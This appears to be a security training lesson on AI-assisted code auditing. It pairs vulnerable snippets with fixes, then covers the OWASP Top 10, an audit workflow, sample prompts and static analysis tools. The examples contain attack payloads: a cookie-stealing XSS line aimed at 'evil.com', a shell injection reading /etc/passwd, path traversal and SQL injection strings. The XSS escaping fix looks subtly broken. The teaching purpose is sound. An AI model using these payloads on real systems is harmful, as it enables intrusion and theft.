

AI-Assisted Code Auditing

Combining manual expertise with AI-powered analysis to find vulnerabilities faster and more comprehensively.

WARNING: Authorized Testing Only. The techniques described in this lesson must only be used on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is a criminal offense in most jurisdictions. Always follow responsible disclosure practices when reporting vulnerabilities to third parties. If you discover a vulnerability in software you do not own, report it through the vendor's security disclosure program or a coordinated disclosure platform such as HackerOne or Bugcrowd.

Why Code Auditing Matters for Red Teams

Code auditing is the systematic examination of source code to identify security vulnerabilities, logic flaws, and misconfigurations before an attacker exploits them in the wild. For red teams, code auditing is one of the highest-value activities available. While network scanning and automated vulnerability scanners find known issues in deployed software, code review uncovers zero-day vulnerabilities, business logic flaws, and subtle authentication bypasses that no scanner will detect.

In a red team engagement, access to source code -- whether through open-source repositories, leaked codebases, or white-box assessments -- dramatically accelerates the identification of exploitable weaknesses. A skilled code auditor can pinpoint the exact function where input validation fails, trace data from an HTTP request parameter all the way to a database query, and craft a proof-of-concept exploit in hours rather than days.

The challenge is scale. Modern applications span hundreds of thousands of lines of code across dozens of dependencies. Manual review of every line is impractical. This is where AI-assisted techniques become transformative -- not replacing human judgment, but amplifying it.

Manual vs AI-Assisted Code Review

Traditional manual code review relies on an auditor's experience, pattern recognition, and deep understanding of language-specific pitfalls. An experienced reviewer reads code, mentally traces execution paths, and flags areas where untrusted input reaches dangerous functions. This approach is thorough but slow -- a skilled auditor typically reviews 100-200 lines of code per hour when doing a security-focused review.

AI-assisted review uses large language models (LLMs) to augment this process. The AI excels at rapid pattern matching across large codebases, identifying known vulnerability patterns, explaining unfamiliar code, and generating test payloads. The human auditor provides context, validates findings, eliminates false positives, and understands the business logic that no AI can infer from code alone.

Aspect	Manual Review	AI-Assisted Review
Speed	100-200 LOC/hour	Thousands of LOC analyzed in minutes
False positives	Low (human judgment)	Moderate (requires human validation)
Business logic flaws	Strong	Weak without context
Known vulnerability patterns	Depends on experience	Comprehensive pattern matching
Consistency	Varies with fatigue	Consistent across sessions
Novel attack vectors	Creative human insight	Can suggest unexpected angles

The optimal approach combines both: use AI to perform an initial sweep, prioritize findings, and then apply deep manual analysis to the most critical areas.

Common Vulnerability Patterns

Effective code auditing requires recognizing recurring vulnerability patterns across languages and frameworks. Here are the most critical categories.

Buffer Overflows (C/C++)

Buffer overflows occur when a program writes data beyond the bounds of allocated memory. In C and C++, which lack automatic bounds checking, this can overwrite return addresses, function pointers, or adjacent data structures, leading to arbitrary code execution.

```
// VULNERABLE: No bounds checking on user input
void process_input(char *user_data) {
    char buffer[64];
    strcpy(buffer, user_data); // No length check!
    printf("Received: %s\n", buffer);
}

// FIXED: Use strncpy with explicit length limit
void process_input_safe(char *user_data) {
    char buffer[64];
    strncpy(buffer, user_data, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    printf("Received: %s\n", buffer);
}
```

SQL Injection

SQL injection occurs when untrusted input is concatenated directly into SQL queries. Attackers can modify the query logic to extract data, bypass authentication, or execute administrative operations on the database.

```
# VULNERABLE: String concatenation in SQL query
def get_user(username):
    query = f"SELECT * FROM users WHERE name = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

# Attack payload: ' OR '1'='1' --

# FIXED: Parameterized query
def get_user_safe(username):
    query = "SELECT * FROM users WHERE name = %s"
    cursor.execute(query, (username,))
    return cursor.fetchone()
```

Cross-Site Scripting (XSS)

XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users. Reflected XSS appears in server responses that echo user input; stored XSS persists in the application's database.

```
// VULNERABLE: Direct insertion of user input into DOM
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Results for: ${query}</h1>`);
});
// Attack: /search?q=<script>document.location='http://evil.com/?c='+document.

// FIXED: Escape HTML entities before rendering
const escapeHtml = (str) => str.replace(/([<>"']/g, (c) =>
  ({'&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;'}[c]));

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>Results for: ${query}</h1>`);
});
```

Command Injection

Command injection occurs when user input is passed to a system shell without sanitization. Attackers can append additional commands using shell metacharacters like `;`, `|`, or `$()`.

```
# VULNERABLE: User input passed directly to shell
import os
def ping_host(hostname):
  os.system(f"ping -c 3 {hostname}")
# Attack payload: 127.0.0.1; cat /etc/passwd

# FIXED: Use subprocess with argument list (no shell)
import subprocess
def ping_host_safe(hostname):
  subprocess.run(["ping", "-c", "3", hostname], check=True)
```

Path Traversal

Path traversal vulnerabilities allow attackers to access files outside the intended directory by injecting sequences like `../` into file path parameters.

```
# VULNERABLE: User-controlled file path
def download_file(filename):
    filepath = f"/var/www/uploads/{filename}"
    return open(filepath, 'rb').read()

# Attack payload: ../../../../etc/passwd

# FIXED: Resolve and validate the canonical path
import os
def download_file_safe(filename):
    base = "/var/www/uploads"
    filepath = os.path.realpath(os.path.join(base, filename))
    if not filepath.startswith(base):
        raise ValueError("Invalid path")
    return open(filepath, 'rb').read()
```

Insecure Deserialization

Deserialization vulnerabilities arise when applications reconstruct objects from untrusted data without validation. In Python, `pickle.loads()` on untrusted input can execute arbitrary code. In Java, unsafe deserialization of `ObjectInputStream` has led to numerous remote code execution exploits.

```
# VULNERABLE: Deserializing untrusted data
import pickle
def load_session(data):
    return pickle.loads(data) # Arbitrary code execution!

# FIXED: Use safe serialization formats
import json
def load_session_safe(data):
    return json.loads(data) # JSON cannot execute code
```

OWASP Top 10 Overview

The OWASP Top 10 is the industry-standard reference for the most critical web application security risks. As a code auditor, you should be able to recognize each category in source code. The current (2021) list includes:

1. **A01: Broken Access Control** -- Missing or inadequate authorization checks. Look for endpoints that lack role verification.

2. **A02: Cryptographic Failures** -- Weak algorithms, hardcoded keys, missing encryption. Search for MD5/SHA-1 used for passwords, plaintext secrets in code.
3. **A03: Injection** -- SQL, NoSQL, OS command, LDAP injection. Any place user input reaches an interpreter.
4. **A04: Insecure Design** -- Architectural flaws that cannot be fixed by implementation alone. Missing threat modeling.
5. **A05: Security Misconfiguration** -- Default credentials, unnecessary features enabled, verbose error messages.
6. **A06: Vulnerable and Outdated Components** -- Dependencies with known CVEs. Check `requirements.txt`, `package.json`, and `pom.xml`.
7. **A07: Identification and Authentication Failures** -- Weak password policies, missing MFA, session fixation.
8. **A08: Software and Data Integrity Failures** -- Insecure deserialization, unsigned updates, tampered CI/CD pipelines.
9. **A09: Security Logging and Monitoring Failures** -- Missing audit logs, unmonitored alerts, insufficient incident response.
10. **A10: Server-Side Request Forgery (SSRF)** -- User-controlled URLs fetched by the server, enabling access to internal services.

The Code Auditing Workflow

A structured workflow ensures comprehensive coverage and prevents auditors from getting lost in large codebases. Follow these five phases:

1. **Understand the architecture.** Read documentation, identify the tech stack, map out components and their interactions. Determine what frameworks are used, how authentication works, and where data is stored. Examine `docker-compose.yml`, configuration files, and API route definitions.
2. **Identify entry points.** Catalog every location where external data enters the application: HTTP endpoints, WebSocket handlers, file upload processors, message queue consumers, CLI argument parsers, and environment variables. These are your attack surface.
3. **Trace data flow.** Follow untrusted input from each entry point through the application. Track how data is validated, transformed, and passed between

functions. Look for places where validation is applied inconsistently or bypassed entirely.

4. **Find sinks.** Sinks are dangerous functions where untrusted data can cause harm:

`eval()`, `exec()`, `os.system()`, SQL query builders, HTML template renderers, file system operations, and deserialization functions. Map which entry points can reach which sinks.

5. **Verify exploitability.** For each potential vulnerability, determine whether it is actually exploitable. Can the attacker control enough of the input? Are there intermediate sanitization steps? Build a proof-of-concept to confirm the finding.

AI-Assisted Techniques

Large language models like Claude can dramatically accelerate each phase of the auditing workflow. Here are practical techniques for integrating AI into your review process.

Using Claude to Review Code for Vulnerabilities

Provide the AI with a code file or function and ask it to identify security issues. Be specific about what you want analyzed. Here are example prompts you would give to an AI:

Prompt 1 - General security review:

"Review the following Python Flask application for security vulnerabilities. Focus on injection flaws, authentication bypasses, and insecure data handling. For each finding, explain the vulnerability, its severity, and how to fix it."

Prompt 2 - Targeted sink analysis:

"In this codebase, find every location where user input from `request.args` or `request.form` reaches a database query, `os.system()` call, or `file open()` operation without proper sanitization. List each data flow path."

Prompt 3 - Dependency analysis:

"Analyze this `requirements.txt` file. Identify any packages with known CVEs. For each vulnerable package, state the CVE ID, affected versions, severity score, and whether the vulnerability is exploitable in the context of a web application."

Prompt 4 - Understanding complex code:

```
"Explain what this authentication middleware does step by step.
Identify any edge cases where authentication could be bypassed,
such as missing checks for null tokens, timing attacks, or
logic errors in role verification."
```

Generating Test Payloads

Once a potential vulnerability is identified, ask the AI to generate payloads for verification:

```
Prompt: "Given this SQL query construction:
query = f'SELECT * FROM products WHERE category = \'{category}\'' AND price < {
Generate 10 SQL injection test payloads for both the category and
max_price parameters. Include payloads for UNION-based extraction,
boolean-based blind injection, and time-based blind injection."
```

Understanding Complex Codebases

AI is particularly valuable for quickly understanding unfamiliar frameworks, custom authentication schemes, or obfuscated code. Feed it architectural files, configuration, and key modules to get a rapid overview before diving into manual analysis.

Static Analysis Tools

AI-assisted review complements -- but does not replace -- dedicated static analysis tools. These tools apply rule-based pattern matching and dataflow analysis with very low false-negative rates for known vulnerability patterns.

Semgrep

Semgrep is a language-agnostic static analysis tool that supports custom rules written in a YAML-based pattern language. It excels at finding security anti-patterns across Python, JavaScript, Go, Java, and many other languages.

```
# Install and run Semgrep with security rules
pip install semgrep
semgrep --config "p/security-audit" ./src/
semgrep --config "p/owasp-top-ten" ./src/

# Run language-specific rulesets
```

```
semgrep --config "p/python" ./src/  
semgrep --config "p/javascript" ./src/
```

Bandit (Python)

Bandit is a Python-specific security linter maintained by the OpenStack Security Project. It identifies common security issues such as use of `eval()`, hardcoded passwords, insecure hash functions, and SQL injection patterns.

```
# Install and run Bandit  
pip install bandit  
bandit -r ./my_project/ -f json -o bandit_report.json  
  
# Run with specific severity threshold  
bandit -r ./my_project/ -ll # Only high-severity findings
```

ESLint Security Plugins (JavaScript)

For JavaScript and TypeScript projects, ESLint with the `eslint-plugin-security` package flags dangerous patterns like `eval()`, non-literal regular expressions, and unsafe object property access.

```
# Install the security plugin  
npm install --save-dev eslint-plugin-security  
  
# Add to .eslintrc.json  
# { "plugins": ["security"], "extends": ["plugin:security/recommended"] }  
  
# Run the linter  
npx eslint --ext .js,.ts ./src/
```

Tip: Combine multiple tools in your workflow. Run Semgrep and Bandit first to catch low-hanging fruit, then use AI-assisted review for deeper analysis of complex logic, and finish with manual review of the most critical components (authentication, authorization, payment processing).

Putting It All Together

An effective AI-assisted code audit follows this sequence: (1) run static analysis tools to identify known patterns, (2) feed the codebase architecture and flagged areas to an LLM for deeper analysis, (3) manually review the AI's findings, eliminating false positives, (4) trace confirmed vulnerabilities end-to-end from entry point to sink, and (5) build proof-of-concept exploits to demonstrate impact. Document every finding with its location, severity, reproduction steps, and recommended fix. This combination of automated tooling, AI analysis, and human expertise produces the most thorough results in the least time.

Further Reading

- [OWASP Top 10 \(2021\)](#) -- the definitive web application security risk ranking
- [OWASP Code Review Guide](#) -- comprehensive methodology for security-focused code review
- [Semgrep Documentation](#) -- rules, patterns, and integration guides
- [Bandit Documentation](#) -- Python security linter reference
- [CWE Top 25 Most Dangerous Software Weaknesses](#) -- MITRE's vulnerability taxonomy

Challenge Resources

WARNING: These files contain intentionally vulnerable code for educational analysis. Do NOT deploy or run in production.

Download Files

Each file contains multiple deliberate vulnerabilities to discover and classify. All files are plain text (.txt) and safe to open.

↓ [vulnerable-webapp.py.txt](#) ~5 KB

↓ [vulnerable-api.js.txt](#) ~5 KB

↓ [legacy-auth.c.txt](#) ~4 KB

↓ [config-leak.yaml.txt](#) ~4 KB

File	Language	Vulnerability Categories
vulnerable-webapp.py.txt	Python (Flask)	SQL injection, command injection, path traversal, hardcoded credentials, XSS, insecure deserialization
vulnerable-api.js.txt	JavaScript (Express)	NoSQL injection, broken authentication (JWT), IDOR, SSRF, prototype pollution
legacy-auth.c.txt	C	Buffer overflow, format string vulnerability, use-after-free, integer overflow
config-leak.yaml.txt	Kubernetes YAML	Plaintext secrets, privileged containers, host network access, no resource limits, running as root